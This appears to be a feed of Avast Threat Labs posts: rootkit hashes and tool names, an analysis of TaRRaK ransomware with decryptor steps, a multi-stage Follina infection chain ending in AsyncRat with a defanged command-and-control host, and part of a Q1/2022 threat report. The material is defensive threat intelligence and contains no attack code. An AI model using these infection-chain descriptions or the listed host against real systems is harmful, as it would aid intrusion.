• 8b036e5e96ab980df3dca44390d6f447d4ca662a7eddac9f52d172efff4c58f8
• 8b18c1336770fcddc6fe78d9220386bce565f98cc8ada5a90ce69ce3ddf36043
• f04dc3c62b305cdb4d83d8df2caa2d37feeb0a86fb5a745df416bac62a3b9731
• 72f200e3444bb4e81e58112111482e8175610dc45c6e0c6dcd1d2251bacf7897
• d129481955f24430247d6cc4af975e4571b5af7c16e36814371575be07e72299
• 6fc03c92dee363dd88e50e89062dd8a22fe88998aff7de723594ec916c348d0a
• fca2ea3e471a0d612ce50abc8738085f076ad022f70f78c3f8c83d1b2ff7896b
• 2fea3bc88c8142fa299a4ad9169f8879fc76726c71e4b3e06a04d568086d3470
• 178b23e7eded2a671fa396dd0bac5d790bca77ec4b2cf4b464d76509ed12c51a
• 3bff2c5bfc24fc99d925126ec6beb95d395a85bc736a395aaf4719c301cbbfd4
• 14a33415e95d104cf5cf1acaff9586f78f7ec3ffb26efd0683c468edeaf98fd7
• 8bb7842991afe86b97def19f226cb7e0a9f9527a75981f5e24a70444a7299809
• 020a6b7edcff7764f2aac1860142775edef1bc057bedd49b575477105267fc67
• 6711d5d42b54e2d261bb48aa7997fa9191aec059fd081c6f6e496d8db17a372a
• 48671bc6dbc786940ede3a83cc18c2d124d595a47fb20bc40d47ec9d5e8b85dc
• b0d69e260a44054999baa348748cf4b2d1eaab3dd3385bb6ad5931ff47a920de
• e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94
• fa0ea232ab160a652fcbd8d6db8ffa09fd64bcb3228f000434d6a8e340aaf4cb
• 11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d
• 73bbabc65f884f89653a156e432788b5541a169036d364c2d769f6053960351f
• 8ec87dee13de3281d55f7d1d3b48115a0f5e4a41bfbef1ea08e496ac529829c8
• 8285ee3115e8c71c24ca3bdce313d3cfadead283c31a116180d4c2611efb610d
• 958bce41371b68706feae0f929a18fa84d4a8a199262c2110a7c1c12d2b1dce2
• 38f357c32f2c5a5e56ea40592e339bac3b0cabd6a903072b9d35093a2ed1cb75
• bcc3d47940ae280c63b229d21c50d25128b2a15ea42fe8572026f88f32ed0628
• 08a1273ac9d6476e9a9b356b261fdc17352401065e2fc2ad3739e3f82e68705a
• cf525918cb648c81543d9603ac75bc63332627d0ec070c355a86e3595986cbb3
• 42bc744b22173ff12477e57f85fa58450933e1c4294023334b54373f6f63ee42
• 337674d6349c21d3c66a4245c82cb454fea1c4e9c9d6e3578634804793e3a6d6
• 4effa5035fe6bbafd283ffae544a5e4353eb568770421738b4b0bb835dad573b
• 5b8059ea30c8665d2c36da024a170b31689c4671374b5b9b1a93c7ca47477448
• bd07a4ccc8fa67e2e80b9c308dec140ca1ae9c027fa03f2828e4b5bdba6c7391
• bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e
• 79916343b93a5a7ac7b7133a26b77b8d7d0471b3204eae78a8e8091bfe19dc8c
• c32e559568d2f6960bc41ca0560ac8f459947e170339811804011802d2f87d69
• 864c261555fce40d022a68d0b0eadb7ab69da6af52af081fd1d9e3eced4aee46
• 275d63587f3ac511d7cca5ff85af2914e74d8b68edd5a7a8a1609426d5b7f6a9
• 031183e9450ad8283486621c4cdc556e1025127971c15053a3bf202c132fe8f9

Files

Syslogk research tools

• unhide_rootkit.c
• magic_packet_start_rekoobe.py
• magic_packet_kill_rekoobe.py
• remove_syslogk_from_memory.sh

Rekoobe research tool

• rekoobe_backdoor_client.py
• cert.pem

IoC repository

The Syslogk and Rekoobe rootkit research tools and IoCs are in our IoC repository.

The post Linux Threat Hunting: ‘Syslogk’ a kernel rootkit found under development in the wild appeared first on Avast Threat Labs.

The TaRRaK ransomware appeared in June of 2021. This ransomware contains many coding errors, so we decided to publish a small blog about them. Samples of this ransomware were spotted in our user base, so we also created a decryptor for this ransomware.

Skip to instructions on how to use the TaRRaK decryptor.

Behavior of the ransomware

The ransomware is written in .NET. The binary is very clean and contains no protections or obfuscations. When executed, the sample creates a mutex named TaRRaK in order to ensure that only one instance of the malware is executed. Also, an auto-start registry entry is created in order to execute the ransomware on every user login:

The ransomware contains a list of 178 file types (extensions) that, when found, are encrypted:

The ransomware avoids folders containing one the following strings:

• All Users\Microsoft\
• $Recycle.Bin
• :\Windows
• \Program Files
• Temporary Internet Files
• \Local\Microsoft\
• :\ProgramData\

Encrypted files are given a new extension .TaRRaK. They also contain the TaRRaK signature at the beginning of the encrypted file:

File Encryption

Implementation of the encryption is a nice example of a buggy code:

First, the ransomware attempts to read the entire file to memory using File.ReadAllBytes(). This function has an internal limit – a maximum of 2 GB of data can be loaded. In case the file is larger, the function throws an exception, which is then handled by the try-catch block. Unfortunately, the try-catch block only handles a permission-denied condition. So it adds an ACL entry granting full access to everyone and retries the read data operation. In case of any other error (read failure, sharing violation, out of memory, read from an offline file), the exception is raised again and the ransomware is stuck in an infinite loop.

Even if the data load operation succeeds and the file data can be fit in memory, there’s another catch. The Encrypt function converts the array of bytes to an array of 32-bit integers:

So it allocates another block of memory with the same size as the file size. It then performs an encryption operation, using a custom encryption algorithm. Encrypted Uint32 array is converted to another array of bytes and written to the file. So in addition to the memory allocation for the original file data, two extra blocks are allocated. If any of the memory allocations fails, it throws an exception and the ransomware is again stuck in an infinite loop.

In the rare case when the encryption process finishes (no sharing violation or another error), the ransom note file named Encrypted Files by TaRRaK.txt is dropped to the root folder of each drive:

Files with the .TaRRaK extension are associated with their own icon:

Finally, desktop wallpaper is set to the following bitmap:

How to use the Avast decryptor to decrypt files encrypted by TaRRaK Ransomware

To decrypt your files, follow these steps:

1. You must be logged to the same user account like the one under which the files were encrypted.
2. Download the free Avast decryptor for 32-bit or 64-bit Windows.
3. Run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
4. On the initial page, you can read the license information, if you want, but you really only need to click “Next”

5. On the next page, select the list of locations you want to be searched and decrypted. By default, it contains a list of all local drives:
   

6. On the final page, you can opt-in to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.
   

IOCs

SHA256
00965b787655b23fa32ef2154d64ee9e4e505a42d70f5bb92d08d41467fb813d
47554d3ac4f61e223123845663c886b42016b4107e285b7da6a823c2f5050b86
aafa0f4d3106755e7e261d337d792d3c34fc820872fd6d1aade77b904762d212
af760d272c64a9258fab7f0f80aa2bba2a685772c79b1dec2ebf6f3b6738c823

The post Decrypted: TaRRaK Ransomware appeared first on Avast Threat Labs.

Our threat hunters have been busy searching for abuse of the recently-released zero-day remote code execution bug in Microsoft Office (CVE-2022-30190). As part of their investigations, they found evidence of a threat actor hosting malicious payloads on what appears to be an Australian VOIP telecommunications provider with a presence in the South Pacific nation of Palau.

Further analysis indicated that targets in Palau were sent malicious documents that, when opened, exploited this vulnerability, causing victim computers to contact the provider’s website, download and execute the malware, and subsequently become infected.

Key Observations

This threat was a complex multi-stage operation utilizing LOLBAS (Living off the Land Binaries And Scripts), which allowed the attacker to initialize the attack using the CVE-2022-30190 vulnerability within the Microsoft Support Diagnostic Tool. This vulnerability enables threat actors to run malicious code without the user downloading an executable to their machine which might be detected by endpoint detection.

Multiple stages of this malware were signed with a legitimate company certificate to add additional legitimacy and minimize the chance of detection.

First stage

The compromised website, as pictured in the screenshot below, was used to host robots.txt which is an executable which was disguised as “robots.txt”. We believe the name was used to conceal itself from detection if found in network logs. Using the Diagnostics Troubleshooting Wizard (msdt.exe), this file “robots.txt” was downloaded and saved as the file (Sihost.exe) and then executed.

Second Stage, Sihost.exe

When the renamed “robots.txt” – “Sihost.exe” – was executed by msdt.exe it downloaded the second stage of the attack which was a loader with the hash b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447. This executable was then used to download and decrypt the third stage of the attack, an encrypted file stored as ‘favicon.svg’ on the same web server.

Third stage, favicon.svg

After this file has been decrypted, it is used to download the fourth stage of the attack from palau.voipstelecom.com[.]au. These files are named Sevntx64.exe and Sevntx.lnk, which are then executed on the victims’ machine.

Fourth Stage, Sevntx64.exe and Sevntx64.lnk

When the file is executed, it loads a 66kb shellcode from the AsyncRat malware family; Sevntx64.exe is signed with the same compromised certificate as seen previously in “robots.txt”.

The screenshot below shows the executable loading the shellcode.

Final Stage, AsyncRat

When the executable is loaded, the machine has been fully compromised with AsyncRat; the trojan is configured to communicate with the server palau[.]voipstelecom[.]com[.]au on port 443. 

AsyncRat SHA256:

aba9b566dc23169414cb6927ab5368b590529202df41bfd5dded9f7e62b91479

Screenshot below with AsyncRat configuration:

Conclusion

We highly recommend Avast Software to protect against the latest threats, and Microsoft patches to protect your Windows systems from the latest CVE-2022-30190 vulnerability.

IOCs:

item	sha256
main webpage	0af202af06aef4d36ea151c5a304414a67aee18c3675286275bd01d11a760c04
robots.txt	b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447
favicon.svg	ed4091700374e007ae478c048734c4bc0b7fe0f41e6d5c611351bf301659eee0
decrypted favicon.svg	9651e604f972e36333b14a4095d1758b50decda893e8ff8ab52c95ea89bb9f74
Sevntx64.exe	f3ccf22db2c1060251096fe99464002318baccf598b626f8dbdd5e7fd71fd23f
Sevntx64.lnk	33297dc67c12c7876b8052a5f490cc6a4c50a22712ccf36f4f92962463eb744d
shellcode from Sevntx64.exe (66814 bytes)	7d6d317616d237ba8301707230abbbae64b2f8adb48b878c528a5e42f419133a
asyncrat	aba9b566dc23169414cb6927ab5368b590529202df41bfd5dded9f7e62b91479

Bonus

We managed to find an earlier version of this malware.

file	hash	first seen	country
Grievance Against Lawyers, Judge or Justice.doc.exe (signed)	87BD2DDFF6A90601F67499384290533701F5A5E6CB43DE185A8EA858A0604974	26.05.2022	NL, proxy
Grievance Against Lawyers, Judge or Justice (1).zip\Grievance Against Lawyers, Judge or Justice.doc.exe	0477CAC3443BB6E46DE9B904CBA478B778A5C9F82EA411D44A29961F5CC5C842	18.05.2022	Palau, previous victim

Forensic information from the lnk file:

field	value
Application	Sevntx64.exe
Accessed time	2022-05-19 09:34:26
Birth droid MAC address	00:0C:29:59:3C:CC
Birth droid file ID	0e711e902ecfec11954f000c29593ccc
Birth droid volume ID	b097e82425d6c944b33e40f61c831eaf
Creation time	2022-05-19 10:29:34
Drive serial number	0xd4e21f4f
Drive type	DRIVE_FIXED
Droid file ID	0e711e902ecfec11954f000c29593ccc
Droid volume ID	b097e82425d6c944b33e40f61c831eaf
File flags	FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_READONLY
Known folder ID	af2448ede4dca84581e2fc7965083634
Link flags	EnableTargetMetadata, HasLinkInfo, HasRelativePath, HasTargetIDList, HasWorkingDir, IsUnicodeLocal
base path	C:\Users\Public\Documents\Sevntx64.exe
Location	Local
MAC address	00:0C:29:59:3C:CC
Machine identifier	desktop-eev1hc3
Modified time	2020-08-19 04:13:44
Relative path	.\Sevntx64.exe
Size	1543
Target file size	376368
Working directory	C:\Users\Public\Documents

The post Outbreak of Follina in Australia appeared first on Avast Threat Labs.

Cyberwarfare between Ukraine and Russia

Foreword

The first quarter of 2022 is over, so we are here again to share insights into the threat landscape and what we’ve seen in the wild. Under normal circumstances, I would probably highlight mobile spyware related to the Beijing 2022 Winter Olympics, yet another critical Java vulnerability (Spring4Shell), or perhaps how long it took malware authors to get back from their Winter holidays to their regular operations. Unfortunately, however, all of this was overshadowed by Russia’s war in Ukraine.

Similar to what’s happening in Ukraine, the warfare co-occurring in cyberspace is also very intensive, with a wide range of offensive arsenal in use. To name a few, we witnessed multiple Russia-attributed APT groups attacking Ukraine (using a series of wiping malware and ransomware, a massive uptick of Gamaredon APT toolkit activity, and satellite internet connections were disrupted). In addition, hacktivism, DDoS attacks on government sites, or data leaks are ongoing daily on all sides of the conflict. Furthermore, some of the malware authors and operators were directly affected by the war, such as the alleged death of the Raccoon Stealer leading developer, which resulted in (at least temporary) discontinuation of this particular threat. Additionally, some malware gangs have chosen the sides in this conflict and have started threatening the others. One such example is the Conti gang that promised ransomware retaliation for cyberattacks against Russia. You can find more details about this story in this report.

With all that said, it is hardly surprising to say that we’ve seen a significant increase of attacks of particular malware types in countries involved in this conflict in Q1/2022; for example, +50% of RAT attacks were blocked in Ukraine, Russia, and Belarus, +30% for botnets, and +20% for info stealers. To help the victims of these attacks, we developed and released multiple free ransomware decryption tools, including one for the HermeticRansom that we discovered in Ukraine just a few hours before the invasion started.

Out of the other malware-related Q1/2022 news: the groups behind Emotet and Trickbot appeared to be working closely together, resurrecting Trickbot infected computers by moving them under Emotet control and deprecating Trickbot afterward. Furthermore, this report describes massive info-stealing campaigns in Latin America, large adware campaigns in Japan, and technical support scams spreading in the US and Canada. Finally, again, the Lapsus$ hacking group emerged with breaches in big tech companies, including Microsoft, Nvidia, and Samsung, but hopefully also disappeared after multiple arrests of its members in March.

Last but not least, we’ve published our discovery of the latest Parrot Traffic Direction System (TDS) campaign that has emerged in recent months and is reaching users from around the world. This TDS has infected various web servers hosting more than 16,500 websites.

Stay safe and enjoy reading this report.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections – Desktop-related threats, informing about our intelligence on attacks targeting Windows, Linux, and macOS, and Mobile-related threats, where we advise about Android and iOS attacks.

Furthermore, we use the term risk ratio in this report to describe the severity of particular threats, calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

Desktop-Related Threats

Advanced Persistent Threats (APTs)

In March, we wrote about an APT campaign targeting betting companies in Taiwan, the Philippines, and Hong Kong that we called Operation Dragon Castling. The attacker, a Chinese-speaking group, leveraged two different ways to gain a foothold in the targeted devices – an infected installer sent in a phishing email and a newly identified vulnerability in the WPS Office updater (CVE-2022-24934). After successful infection, the malware used a diverse set of plugins to achieve privilege escalation, persistence, keylogging, and backdoor access.

Furthermore, on February 23rd, a day before Russia started its invasion of Ukraine, ESET tweeted that they discovered a new data wiper called HermeticWiper. The attacker’s motivation was to destroy and maximize damage to the infected system. It’s not just disrupting the MBR but also destroying a filesystem and individual files. Shortly after that, we at Avast discovered a related piece of ransomware that we called HermeticRansom. You can find more on this topic in the Ransomware section below. These attacks are believed to have been carried out by Russian APT groups.  

Continuing this subject, Gamaredon is known as the most active Russia-backed APT group targeting Ukraine. We see the standard high level of activity of this APT group in Ukraine which accelerated rapidly since the beginning of the Russian invasion at the end of February when the number of their attacks grew several times over.

We also noticed an increase in Korplug activity which expanded its focus from the more usual south Asian countries such as Myanmar, Vietnam, or Thailand to Papua New Guinea and Africa. The most affected African countries are Ghana, Uganda and Nigeria. As Korplug is commonly attributed to Chinese APT groups, this new expansion aligns with their long-term interest in countries involved in China’s Belt and Road initiative.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Jan Holman, Malware Researcher

Adware

Desktop adware has become more aggressive in Q4/21, and a similar trend persists in Q1/22, as the graph below illustrates:

On the other hand, there are some interesting phenomena in Q1/22. Firstly, Japan’s proportion of adware activity has increased significantly in February and March; see the graph below. There is also an interesting correlation with Emotet hitting Japanese inboxes in the same period.

On the contrary, the situation in Ukraine led to a decrease in the adware activity in March; see the graph below showing the adware activity in Ukraine in Q1/22.

Finally, another interesting observation concerns adware activity in major European countries such as France, Germany, and the United Kingdom. The graph below shows increased activity in these countries in March, deviating from the trend of Q1/22.

Concerning the top strains, most of 64% of adware was from various adware families. However, the first clearly identified family is RelevantKnowledge, although so far with a low prevalence (5%) but with a +97% increase compared to Q4/21. Other identified strains in percentage units are ICLoader, Neoreklami, DownloadAssistant, and Conduit.

As mentioned above, the adware activity has a similar trend as in Q4/21. Therefore the risk ratios remained the same. The most affected regions are still Africa and Asia. About Q1/22 data, we monitored an increase of protected users in Japan (+209%) and France (+87%) compared with Q4/21. On the other hand, a decrease was observed in the Russian Federation (-51%) and Ukraine (-50%).

Adware risk ratio in Q1/22.

Martin Chlumecký, Malware Researcher

Bots

It seems that we are on a rollercoaster with Emotet and Trickbot. Last year, we went through Emotet takedown and its resurrection via Trickbot. This quarter, shutdowns of Trickbot’s infrastructure and Conti’s internal communication leaks indicate that Trickbot has finished its swan song. Its developers were supposedly moved to other Conti projects, possibly also with BazarLoader as Conti’s new product. Emotet also introduced a few changes – we’ve seen a much higher cadence of new, unique configurations. We’ve also seen a new configuration timestamp in the log “20220404”, interestingly seen on 24th March, instead of the one we’ve been accustomed to seeing (“20211114”).

There has been a new-ish trend coming with the advent of the war in Ukraine. Simple Javascript code has been used to create requests to (mostly) Russian web pages – ranging from media to businesses to banks. The code was accompanied by a text denouncing Russian aggression in Ukraine in multiple languages. The code has quickly spread around the internet into different variations, such as a variant of open-sourced game 2048. Unfortunately, we’ve started to see webpages that incorporated that code without even declaring it so it could even happen that your computer would participate in those actions while you were checking the weather on the internet. While these could remind us of Anonymous DDoS operations and LOIC (open-source stress tool Low Orbit Ion Cannon), these pages were much more accessible to the public using their browser only with (mostly) predetermined lists of targets. Nearing the end of March, we saw a significant decline in their popularity, both in terms of prevalence and the appearance of new variants.

The rest of the landscape does not bring many surprises. We’ve seen a significant risk increase in Russia (~30%) and Ukraine (~15%); those shouldn’t be much of a surprise, though, for the latter, it mostly does not project much into the number of affected clients.

In terms of numbers, the most prevalent strain was Emotet which doubled its market share since last quarter. Since the previous quarter, most of the other top strains slightly declined their prevalence. The most common strains we are seeing are:

• Emotet
• Amadey
• Phorpiex
• MyloBot
• Nitol
• MyKings
• Dorkbot
• Tofsee
• Qakbot

Adolf Středa, Malware Researcher

Coinminers

Coincidently, as the cryptocurrency prices are somewhat stable these days, the same goes for the malicious coinmining activity in our user base.

In comparison with the previous quarter, crypto-mining threat actors increased their focus on Taiwan (+69%), Chile (+63%), Thailand (+61%), Malawi (+58%), and France (+58%). This is mainly caused by the continuous and increasing trend of using various web miners executing javascript code in the victim’s browser. On the other hand, the risk of getting infected significantly dropped in Denmark (-56%) and Finland (-50%).

The most common coinminers in Q1/22 were:

• XMRig
• NeoScrypt
• CoinBitMiner
• CoinHelper

Jan Rubín, Malware Researcher

Information Stealers

The activities of Information Stealers haven’t significantly changed in Q1/22 compared to Q4/21. FormBook, AgentTesla, and RedLine remain the most prevalent stealers; in combination, they are accountable for 50% of the hits within the category. 

We noticed the regional distribution has completely shifted compared to the previous quarter. In Q4/21, Singapore, Yemen, Turkey, and Serbia were the countries most affected by information stealers; in Q1/22, Russia, Brazil, and Argentina rose to the top tier after the increases in risk ratio by 27% (RU), 21% (BR), and 23% (AR) compared to the previous quarter.

Not only a popular destination for information stealers, Latin America also houses many regional-specific stealers capable of compromising victims’ banking accounts. As the underground hacking culture continues to develop in Brazil, these threat groups target their fellow citizens for financial purposes. In Brazil, Ousaban and Chaes pose the most significant threats with more than 100k and 70k hits. In Mexico in Q1/22, we observed more than 34k hits from Casbaneiro. A typical pattern shared between these groups is the multiple-stage delivery chain utilizing scripting languages to download and deploy the next stage’s payload while employing DLL sideloading techniques to execute the final stage.

Furthermore, Raccoon Stealer, an information stealer with Russian origins, significantly decreased in activity since March. Further investigation uncovered messages on Russian underground forums advising that the Raccoon group is not working anymore. A few days after the messages were posted, a Raccoon representative said one of their members died in the Ukrainian War – they have paused operations and plan to return in a few months with a new product.

Next, a macOS malware dubbed DazzleSpy was found using watering hole attacks targeting Chinese pro-democracy sympathizers; it was primarily active in Asia. This backdoor can control macOS remotely, execute arbitrary commands, and download and upload files to attackers, thus enabling keychain stealing, key-logging, and potential screen capture.

Last but not least, more malware that natively runs on M1 Apple chips (and Intel hardware) has been found. The malware family, SysJoker, targets all desktop platforms (Linux, Windows, and macOS); the backdoor is controlled remotely and allows downloading other payloads and executing remote commands.

Anh Ho, Malware Researcher
Igor Morgenstern, Malware Researcher
Vladimir Martyanov, Malware Researcher
Vladimír Žalud, Malware Analyst

Ransomware

We’ve previously reported a decline in the total number of ransomware attacks in Q4/21. In Q1/22, this trend continued with a further slight decrease. As can be seen on the following graph, there was a drop at the beginning of 2022; the number of ransomware attacks has since stabilized.

We believe there are multiple reasons for these recent declines – such as the geopolitical situation (discussed shortly) and the continuation of the trend of ransomware gangs focusing more on targeted attacks on big targets (big game hunting) rather than on regular users via the spray and pray techniques. In other words, ransomware is still a significant threat, but the attackers have slightly changed their targets and tactics. As you will see in the rest of this section, the total numbers are lower, but there was a lot ongoing regarding ransomware in Q1.

Based on our telemetry, the distribution of targeted countries is similar to Q4/21 with some Q/Q shifts, such as Mexico (+120% risk ratio), Japan (+37%), and India (+34%).

The most (un)popular ransomware strains – STOP and WannaCry – kept their position at the top. Operators of the STOP ransomware keep releasing new variants, and the same applies for the CrySiS ransomware. In both cases, the ransomware code hasn’t considerably evolved, so a new variant merely means a new extension of encrypted files, different contact e-mail and a different public RSA key.

The most prevalent ransomware strains in Q1/22:

• WannaCry
• STOP
• VirLock
• GlobeImposter
• Makop

Out of the groups primarily focused on targeted attacks, the most active ones based on our telemetry were LockBit, Conti, and Hive. The BlackCat (aka ALPHV) ransomware was also on the rise. The LockBit group boosted their presence and also their egos, as demonstrated by their claim that they will pay any FBI agent that reveals their location a bounty of $1M. Later, they expanded that offer to any person on the planet.

You may also recall Sodinokibi (aka REvil), which is regularly mentioned in our threat reports. There is always something interesting around this ransomware strain and its operators with ties to Russia. In our Q4/21 Threat Report we informed about the arrests of some of its operators by Russian authorities. Indeed, this resulted in Sodinokibi almost vanishing from the threat landscape in Q1/2022. However, the situation got messy at the very end of Q1/2022 and early in April as new Sodinokibi indicators started appearing, including the publishing of new leaks from ransomed companies and malware samples. It is not yet clear whether this is a comeback, an imposter operation, reused Sodinokibi sources or infrastructure, or even their combination by multiple groups. Our gut feeling is that Sodinokibi will be a topic in the Q2/22 Threat Report once again.

Russian ransomware affiliates are a never-ending story. E.g. we can mention an interesting public exposure of a criminal dubbed Wazawaka with ties to Babuk, DarkSide, and other ransomware gangs in February. In a series of drunk videos and tweets he revealed much more than his missing finger.

The Russian invasion and following war on Ukraine, the most terrible event in Q1/22, had its counterpart in cyber-space. Just one day before the invasion, several cyber attacks were detected. Shortly after the discovery of HermeticWiper malware by ESET, Avast also discovered ransomware attacking Ukrainian targets. We dubbed it HermeticRansom. Shortly after, a flaw in the ransomware was found by CrowdStrike analysts. We acted swiftly and released a free decryptor to help victims in Ukraine. Furthermore, the war impacted ransomware attacks, as some of the ransomware authors and affiliates are from Ukraine and likely have been unable to carry out their operations due to the war.

And the cyber-war went on, together with the real one. A day after the start of the invasion, the Conti ransomware gang claimed its allegiance and threatened anyone who was considering organizing a cyber-attack or war activities against Russia:

As a reaction, a Ukrainian researcher started publishing internal files of the Conti gang, including Jabber conversations and the source code of the Conti ransomware itself. However, no significant amount of encryption keys were leaked. Also, the sources that were published were older versions of the Conti ransomware, which no longer correspond to the layout of the encrypted files that are created by today’s version of the ransomware. The leaked files and internal communications provide valuable insight into this large cybercrime organization, and also temporarily slowed down their operations.

Among the other consequences of the Conti leak, the published source codes were soon used by the NB65 hacking group. This gang declared a karmic war on Russia and used one of the modified sources of the Conti ransomware to attack Russian targets.

Furthermore, in February, members of historically one of the most active (and successful) ransomware groups, Maze, announced a shut-down of their operation. They published master decryption keys for their ransomware strains Maze, Egregor, and Sekhmet; four archive files were published that contained:

• 19 private RSA-2048 keys for Egregor ransomware. Egregor uses a three-key encryption schema (Master RSA Key → Victim RSA Key → Per-file Key).
• 30 private RSA-2048 keys (plus 9 from old version) for Maze ransomware. Maze also uses a three-key encryption scheme.
• A single private RSA-2048 key for Sekhmet ransomware. Because this strain uses this RSA key to encrypt the per-file key, the RSA private key is likely campaign specific.
• A source code for the M0yv x86/x64 file infector, that was used by Maze operators in the past.

Next, an unpleasant turn of events happened after we released a decryptor for the TargetCompany ransomware in February. This immediately helped multiple ransomware victims; however, two weeks later, we discovered a new variant of TargetComany that started using the ”.avast” extension for encrypted files. Shortly after, the malware authors changed the encryption algorithm, so our free decryption tool does not decrypt the most recent variant.

On the bright side, we also analyzed multiple variants of the Prometheus ransomware and released a free decryptor. This one covers all decryptable variants of the ransomware strain, even the latest ones.

Jakub Křoustek, Malware Research Director
Ladislav Zezula, Malware Researcher

Remote Access Trojans (RATs)

New year, new me RAT campaigns. As mentioned in the Q4/21 report, the RAT activity downward trend will be just temporary; the reality was a textbook example of this claim. Even malicious actors took holidays at the beginning of the new year and then returned to work.

In the graph below, we can see a Q4/21 vs. Q1/22 comparison of RAT activity:

This quarter’s countries most affected were China, Tajikistan, Kyrgyzstan, Iraq, Kazakhstan, and Russia. Kazakhstan will be mentioned later on with the emergence of a new RAT. We also detected a high Q/Q increase in the risk ratio in countries involved in the ongoing war: Ukraine (+54%), Russia (+53%), and Belarus (+46%).

In this quarter, we spotted a new campaign distributing several RATs, reaching thousands of users, mainly in Italy (1,900), Romania (1,100), and Bulgaria (950). The campaign leverages a Crypter (a crypter is a specific tool used by malware authors for obfuscation and protection of the target payload), which we call Rattler, that ensures a distribution of arbitrary malware onto the victim’s PC. Currently, the crypter primarily distributes remote access trojans, focusing on Warzone, Remcos, and NetWire. Warzone’s main targeting campaigns also seemed to change during the past three months. In January and February, we received a considerable amount of detections from Russia and Ukraine. Still, this trend reversed in March, with decreased detections in these two countries and a significant increase in Spain, indicating a new malicious campaign.

Most prevalent RATs in Q1 were:

• njRAT
• Warzone
• Remcos
• AsyncRat
• NanoCore
• NetWire
• QuasarRAT
• PoisionIvy
• Adwind
• Orcus

Among malicious families with the highest increase in detections were Lilith, LuminosityLink, and Gh0stCringe. One of the reasons for the Gh0stCringe increase is a malicious campaign in which this RAT spread on poorly protected MySQL and Microsoft SQL database servers. We have also witnessed a change in the first two places of the most prevalent RATs. In Q4/21, the most pervasive was Warzone which declined this quarter by 23%. The njRat family, on the other hand, increased by 32%, and what was surprising, Adwind entered into the top 10.

Except for the usual malicious campaigns, this quarter was different. There were two significant causes for this. The first was a Lapsus$ hacking and leaking spree, and the other was the war with Ukraine.

The hacking group Lapsus$ targeted many prominent technology companies like Nvidia, Samsung, and Microsoft. For example, in the NVIDIA Lapsus$ case, this hacking group stole about 1TB of NVIDIA’s data and then commenced to leak it. The leaked data contained binary signing certificates, which were later used for signing malicious binaries. Among such signed malware was, for example, the Quasar RAT.

Then there was the conflict in Ukraine, which showed the power of information technology and the importance of cyber security – because the fight happens not only on the battlefield but also in cyberspace, with DDOS attacks, data-stealing, exploitation, cyber espionage, and other techniques. But except for these countries involved in the war, everyday people looking for information are easy targets of malicious campaigns. One such campaign involved sending email messages with attached office documents that allegedly contained important information about the war. Unfortunately, these documents were just a way to infect people with Remcos RAT with the help of Microsoft Word RCE vulnerability CVE-2017-11882, thanks to which the attacker could easily infect unpatched systems.

As always, not only old known RATs showed up. This quarter brought us a few new ones as well. The first addition to our RAT list was IceBot. This RAT seems to be a creation of the APT group FIN7; it contains all usual basic capabilities as other RATs like taking screenshots, remote code execution, file transfer, and detection of installed AV.

Another one is Hodur. This RAT is a variant of PlugX (also known as Korplug), associated with Chinese APT organizations. Hodur differed, using a different encoding, configuration capabilities, and  C&C commands. This RAT allows attackers to log keystrokes, manipulate files, fingerprint the system and more.

We mentioned that Kazakhstan is connected to a new RAT on this list. That RAT is called Borat RAT. The name is taken from the popular comedy film Borat where the main character Borat Sagdijev, performed by actor Sacha Baron Cohen, was presented as a Kazakh visiting the USA. Did you know that in reality the part of the film that should represent living in Kazakhstan village wasn’t even filmed there but in the Romanian village of Glod?

This RAT is a .NET binary and uses simple source-code obfuscation. The Borat RAT was initially discovered on hacking forums and contains many capabilities. Some features include triggering BSOD, anti-sandbox, anti-VM, password stealing, web-cam spying, file manipulation and more. As well as these baked-in features, it enables extensive module functionality. These modules are DLLs that are downloaded on demand, allowing the attackers to add multiple new capabilities. The list of currently available modules contains files “Ransomware.dll” used for encrypting files, “Discord.dll” for stealing Discord tokens, and many more.

Here you can see an example of the Borat RAT admin panel. 

We also noticed that the volume of Python compiled and Go programming language ELF binaries for Linux increased this quarter. The threat actors used open source RAT projects (i.e. Bring Your Own Botnet or Ares) and legitimate services (e.g. Onion.pet, termbin.com or Discord) to compromise systems. We were also one of the first to protect users against Backdoorit and Caligula RATs; both of these malware families were written in Go and captured in the wild by our honeypots.

Samuel Sidor, Malware Researcher
Jan Rubín, Malware Researcher
David Àlvarez, Malware Researcher

Rootkits

In Q1/22,  rootkit activity was reduced compared to the previous quarter, returning to the long-term value, as illustrated in the chart below.

The close-up view of Q1/22 demonstrates that January and February have been more active than the March period.

We have monitored various rootkit strains in Q1/22. However, we have identified that approx. 37% of rootkit activity is r77-Rootkit (R77RK) developed by bytecode77 as an open-source project under the BSD license. The rootkit operates in Ring 3 compared to the usual rootkits that work in Ring 0. R77RK is a configurable tool hiding files, directories, scheduled tasks, processes, services, connections, etc. The tool is compatible with Windows 7 and Windows 10. The consequence is that R77RK was captured with several different types of malware as a supporting library for malware that needs to hide malicious activity.

The graph below shows that China is still the most at-risk country in terms of protected users. Moreover, the risk in China has increased by about +58%, although total rootkit activity has been orders of magnitude lower compared to Q4/21. This phenomenon is caused by the absence of the Cerbu rootkit that was spread worldwide, so the main rootkit activity has moved back to China. Namely, the decrease in the rootkit activity has been observed in the countries as follows: Vietnam, Thailand, the Czech Republic, and Egypt.

In summary, the situation around the rootkit activity seems calmer compared to Q4/21, and China is still the most affected country in Q1/22. Noteworthy, the war in Ukraine has not increased the rootkit activity. Numerous malware authors have started using open-source solutions of rootkits, although these are very well detectable.

Martin Chlumecký, Malware Researcher

Technical support scams

After quite an active Q4/21 that overlapped with the beginning of Q1/22, technical support scams started to decline in inactivity. There were some small peaks of activity, but the significant wave of one particular campaign came at the end of Q1/22.

